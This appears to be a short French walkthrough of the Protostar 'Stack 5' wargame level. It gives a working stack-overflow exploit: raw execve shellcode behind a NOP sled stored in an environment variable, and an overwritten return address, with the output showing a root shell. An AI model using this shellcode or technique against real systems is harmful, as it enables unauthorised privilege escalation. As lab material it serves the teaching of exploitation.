====== Stack 5 ====== #include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } Le niveau est le même que le précédent, sauf que cette fois ci nous devons faire sauter le programme sur notre propre shellcode. On décidé de stocker notre shellcode dans une variable d'environnement. user@protostar:~$ export TLK=$(python -c 'print "\x90"*400+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"') user@protostar:~$ cat stack5.c int main() { printf("addr: %p\n",getenv("TLK")); } user@protostar:~$ gcc stack5.c -o stack5 stack5.c: In function ‘main’: stack5.c:3: warning: incompatible implicit declaration of built-in function ‘printf’ user@protostar:~$ ./stack5 addr: 0xbffffd22 user@protostar:~$ cd /opt/protostar/bin/ user@protostar:/opt/protostar/bin$ (python -c 'print "A"*76+"\x22\xfd\xff\xbf"'; cat) | ./stack5 id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)